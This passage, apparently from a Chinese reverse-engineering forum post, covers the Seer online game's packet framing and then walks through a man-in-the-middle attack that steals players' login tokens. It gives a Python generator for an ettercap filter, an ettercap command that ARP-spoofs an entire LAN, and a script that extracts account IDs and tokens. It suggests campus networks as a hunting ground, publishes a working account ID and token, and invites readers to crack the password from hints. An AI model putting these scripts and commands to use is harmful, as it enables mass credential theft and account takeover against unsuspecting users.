        this._tempBuffer.readBytes(this._chunkBuffer,0,this._tempBuffer.length);      // 读取_tempBuffer缓冲区内所有数据,存入_chunkBuffer
        this._tempBuffer.clear();
    }
    readBytes(this._chunkBuffer,this._chunkBuffer.length,bytesAvailable);
    this._chunkBuffer.position = 0;
    while(this._chunkBuffer.bytesAvailable > 0)                    // 如果_chunkBuffer缓冲区大小大于0
    {
        if(this._chunkBuffer.bytesAvailable > MSG_FIRST_TOKEN_LEN)  // 如果_chunkBuffer缓冲区大小大于4(以便能够读入一个uint,作为封包长度)
        {
            msgLen = this._chunkBuffer.readUnsignedInt() - MSG_FIRST_TOKEN_LEN;        // 读入开头4个字节作为一个uint, 该值减去4,即为封包长度
            if(this._chunkBuffer.bytesAvailable >= msgLen)           // 非断包(_chunkBuffer缓冲区大小大于当前要读取的封包的长度)
            {
                this._chunkBuffer.position -= MSG_FIRST_TOKEN_LEN;    // 将_chunkBuffer缓冲区指针指向封包数据的开始处。
                ba = MessageEncrypt.decrypt(this._chunkBuffer);       // 解密封包
                this.parseData(ba);                                   // 解析封包
            }
            else                                                     // 断包(无法完整地读取一条封包)
            {
                this._chunkBuffer.position -= MSG_FIRST_TOKEN_LEN;    // 将_chunkBuffer缓冲区指针重新指向表示封包长度处
                this._chunkBuffer.readBytes(this._tempBuffer,0,this._chunkBuffer.bytesAvailable);   // _chunkBuffer此后的全部数据均重新复制回到_tempBuffer中
            }
        }
        else                                                        // 断包(无法完整地读取一条封包)
        {
            this._chunkBuffer.readBytes(this._tempBuffer,0,this._chunkBuffer.bytesAvailable);      // _chunkBuffer此后的全部数据均重新复制回到_tempBuffer中
        }
    }
}

虽然是不同的编程语言,但实现的思路都是相同的。

中间人攻击窃取登录凭证

arp欺骗原理

本文已经远远超过我预期的长度了,arp欺骗这部分网上的资料还是比较多的,我不想重复造轮子,网上找了篇比较通俗易懂的文章供大家参考:

中间人攻击——ARP欺骗的原理、实战及防御

还请务必搞懂arp欺骗后,再继续阅读本文的后续部分。

赛尔号登录凭证分析

毫无疑问,我们要去分析Login.swf。

这是打开游戏后的一开始几个封包:

customID具体是啥我们不用太过关心,_loc4_很明显就是MAIN_LOGIN_IN包中的含有的账号密码。

看到这里的时候,我有些疑惑,如果是直接将明文密码暴露在网络中,不怕中间人攻击吗?

带着这个疑问,我们继续来看param1。

全局搜索login(,定位至:

感兴趣的可以考虑加上验证码自动识别,然后用来爆破账号密码。

这个接口虽然也有验证码,但是验证码只是4个数字,比game.61.com登录接口的验证码简单得多。

可以做个对比:

我向来是不喜欢爆破数据的,所以这个方面的工作就不继续往下做了。

应用场景:校园网

显然,arp欺骗只能用于局域网中。

如果是我们身边最常见的家庭路由器组建的局域网,其实arp欺骗其实没有多大的意义,一共才几台设备,总不能对自己人下手吧。

但如果是星巴克、肯德基,或是高铁站这种公共场所的开放wifi中,arp欺骗还是很有应用场景的。但是在这些地方,基本上很难遇到玩赛尔号的,更别说有很大比例的人,在公共场所都是自己开热点玩游戏,因为公共场所的开放wifi往往慢得要死。

不过,还有个很贴合我们需求的场所:校园网。

以国内某高校的校园网为例,其登录认证过程是这样的:

首先电脑通过有线或无线的方式,接入校园网。此时,DHCP服务器给我们分配了相应的ip,但是还上不了网,因为没有认证身份。

然后我们访问http://10.?.??.???/ ,输入账号和密码,进行认证。认证成功即可上网。

你可能已经注意到了,认证是通过http完成的。所以,只要你想,理论上可以嗅探到全校同学和老师的账号和密码。

其实,该校园网的网关处,应该是有arp防火墙的;但是大多数的同学和老师这边,基本上都不会单独安装有arp防护功能的防火墙的。在这种情况下,我们没有办法拿到响应的数据,但能拿到请求的数据。不过好在,账号和密码都是在请求中的,响应的数据拿不到就算了吧。

这部分不敢说得太细,删掉了很多感觉比较敏感的内容。继续来聊赛尔号吧。

其实类比前面的嗅探校园网账号和密码,嗅探赛尔号的登录凭证也是相同的原理。

我们只需要利用arp欺骗,充当数据从客户端发往服务端的中间人,就能拿到所有的客户端发出的封包(拿不到服务端发来的封包,因为该校园网网关处有arp防火墙)。其中MAIN_LOGIN_IN包是明文传输的,且含有“登录凭证”。

只要你胆子大,全校的同学只要玩赛尔号,你就能嗅探到他的“登录凭证”,然后伪造登录。

再次强调,我只是提供个理论上的假设,请勿以任何形式攻击网络

推荐阅读:中华人民共和国网络安全法-中共中央网络安全和信息化委员会办公室

演示

给我十个胆子,我也不敢在论坛上公然演示对整个校园网几万台设备进行中间人攻击。

这里我用两台虚拟机进行演示:win10作为无辜的受害者,像往常一样登录了自己的赛尔号账号。kali作为攻击机,窃取win10上登录的赛尔号账号的登录凭证。

情景是win10和kali在同一局域网内,但是为了模拟校园网的环境,我们假设并不知道win10的具体的ip地址(起到广撒网多捞鱼的模拟)

首先我们要先根据赛尔号登录包的特点,写一下过滤条件。

因为每次登录,都是先从http://seerlogin.61.com/ip.txt获取可以进行登录认证的服务器列表,然后从中随机选择一个服务器,发送MAIN_LOGIN_IN登陆包(命令号为103),如果没有服务器没有响应该包,则从中再选一个服务器再次发送MAIN_LOGIN_IN包,直到成功为止。所以我们不太好在过滤条件中把ip和端口写死。于是写个python小脚本,用于自动生成过滤条件:

 复制代码 隐藏代码
import requests

def get_server_addr():
    url = r'http://seerlogin.61.com/ip.txt'
    r = requests.get(url)
    l = []
    for t in r.text.split('|'):
        l.append(t.split(':'))
    return l

filter = ''
l = get_server_addr()

for ip, port in l:
    #print(ip, port)
    #filter += temp.format(ip, port)
    filter += '''\tif (ip.dst == '%s' && tcp.dst == %s && DATA.data + 4 == "\\x31\\x00\\x00\\x00\\x67"){
\t\tmsg("Capture a Seer MAIN_LOGIN_IN Packet!");
\t\tlog(DATA.data, "/tmp/seer_arp.log");
\t}\n'''
% (ip, port)

print('''if (ip.proto == TCP) {
    %s}'''
% filter)

我写本文的时候,http://seerlogin.61.com/ip.txt 内容为:

 复制代码 隐藏代码
118.89.109.210:1864|118.89.114.113:1864|118.89.115.158:1864|118.89.109.210:1863|118.89.114.113:1863|118.89.115.158:1863

于是运行上面脚本,可以得到的过滤条件为:

 复制代码 隐藏代码
if (ip.proto == TCP) {
        if (ip.dst == '118.89.109.210' && tcp.dst == 1864 && DATA.data + 4 == "\x31\x00\x00\x00\x67"){     
                msg("Capture a Seer MAIN_LOGIN_IN Packet!");
                log(DATA.data, "/tmp/seer_arp.log");
        }
        if (ip.dst == '118.89.114.113' && tcp.dst == 1864 && DATA.data + 4 == "\x31\x00\x00\x00\x67"){     
                msg("Capture a Seer MAIN_LOGIN_IN Packet!");
                log(DATA.data, "/tmp/seer_arp.log");
        }
        if (ip.dst == '118.89.115.158' && tcp.dst == 1864 && DATA.data + 4 == "\x31\x00\x00\x00\x67"){
                msg("Capture a Seer MAIN_LOGIN_IN Packet!");
                log(DATA.data, "/tmp/seer_arp.log");
        }
        if (ip.dst == '118.89.109.210' && tcp.dst == 1863 && DATA.data + 4 == "\x31\x00\x00\x00\x67"){
                msg("Capture a Seer MAIN_LOGIN_IN Packet!");
                log(DATA.data, "/tmp/seer_arp.log");
        }
        if (ip.dst == '118.89.114.113' && tcp.dst == 1863 && DATA.data + 4 == "\x31\x00\x00\x00\x67"){
                msg("Capture a Seer MAIN_LOGIN_IN Packet!");
                log(DATA.data, "/tmp/seer_arp.log");
        }
        if (ip.dst == '118.89.115.158' && tcp.dst == 1863 && DATA.data + 4 == "\x31\x00\x00\x00\x67"){
                msg("Capture a Seer MAIN_LOGIN_IN Packet!");
                log(DATA.data, "/tmp/seer_arp.log");
        }
}

DATA.data + 4 == "\x31\x00\x00\x00\x67",用python语法表示就是DATA.data[4:9] == "\x31\x00\x00\x00\x67"。

0x31是协议号,0x67是命令号103。

将上面的过滤条件,保存到kali中,命名为etter-filter.txt。

然后使用etterfilter编译过滤条件:

etterfilter etter-filter.txt -o etter.ef

查看一下网卡:

kali的使用的是eth0的网卡,ip是192.168.133.134。

查看一下当前局域网的网关:

使用ettercap对整个局域网arp欺骗:

ettercap -i eth0 -Tq -F etter.ef -M arp:remote /// /192.168.133.2//

-i后面跟着网卡名,-F后面跟着编译好的过滤条件的路径,最后一个ip是网关,要写成/ip//的形式,倒数第二个是要进行arp欺骗的主机的ip,如果你知道运行赛尔号的电脑的具体的ip,也可以写成/ip//的形式,我们这里模拟的是广撒网多捞鱼,所以假设并不知道win10的ip,则写成///,表示对局域网内所有的主机都进行arp欺骗。

开始攻击:

当有无辜的受害者像往常一样,登录了赛尔号时:

这里我们就成功捕获到了一个赛尔号的MAIN_LOGIN_IN封包。

如果数据包满足过滤条件,则将此条封包保存到/tmp/seer_arp.log中。

/tmp/seer_arp.log中保存的是整个MAIN_LOGIN_IN封包,我们写个python小脚本将米米号和登录凭证提取出来:

 复制代码 隐藏代码
import struct

with open(r'/tmp/seer_arp.log', 'rb')as f:
    b = f.read()
i = 0
while i < len(b):
    length = struct.unpack('>I', b[i : i+4])[0]
    userid = struct.unpack('>I', b[i+9 : i+9+4])[0]
    login_token = b[i+17 : i+17+32].decode()
    print('米米号%d\t\t登录凭证%s' % (userid, login_token))   
    i += length

然后我们可以将捕获的米米号和登录凭证,复制到下图右侧相应位置:

然后,我们随便输入一个假的米米号和密码,点击登录。

可以看到,我们在没有密码的情况下,借助嗅探来的登录凭证,以米米号695585200的身份成功登录了游戏:

简单录制了一个GIF:

文件太大了,传不上来,放百度云吧,链接: https://pan.baidu.com/s/1tjwnPSim2WAde7bqhjKHgA 提取码: cwpq

没打码是因为这只是个小号,没了就没了吧,大家可以用这个号试试。

keyvalue
米米号695585200
登录凭证b47906b7958676b2b686a6ec61b1016c

密码我就不写了,感兴趣的可以去跑下彩虹表。

给个提示,密码长度为9,无特殊字符,后3个字符均为数字。

欢迎评论区参与互动,我请在评论区第一个给出正确密码的师傅喝一杯奶茶。

写在最后

声明

本文仅作交流学习,请勿损害淘米公司的合法权益,请勿以任何形式攻击网络

致谢

感谢hcj师傅赛尔号通信数据的逆向分析与还原(思路篇)一文给予我的帮助。

笔者能力有限,且仓促之下写成此文,疏漏与谬误在所难免,欢迎师傅们批评指正。

参考资料

  • Adobe ActionScript® 3 (AS3) API Reference

  • 赛尔号通信数据的逆向分析与还原(思路篇)

  • 封包式游戏功能的原理与实现

  • 一个 HTTP 请求的曲折经历

  • 《加密与解密(第4版)》

最后的最后

不知不觉中,赛尔号今年都已经12周年了。

话说,儿时的梦,你还记得几个呢 :)

--

www.52pojie.cn

--

pojie_52


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5Mjc3MDM2Mw==&mid=2651136085&idx=1&sn=e366cd93f2c7ea3d99d0dac65fdec86e&chksm=bd50b0018a273917a7f38cd57ce6651a11b2eaee5ead1ce12bfd4e0ce3918ae928bd9da7322f#rd
如有侵权请联系:admin#unsafe.sh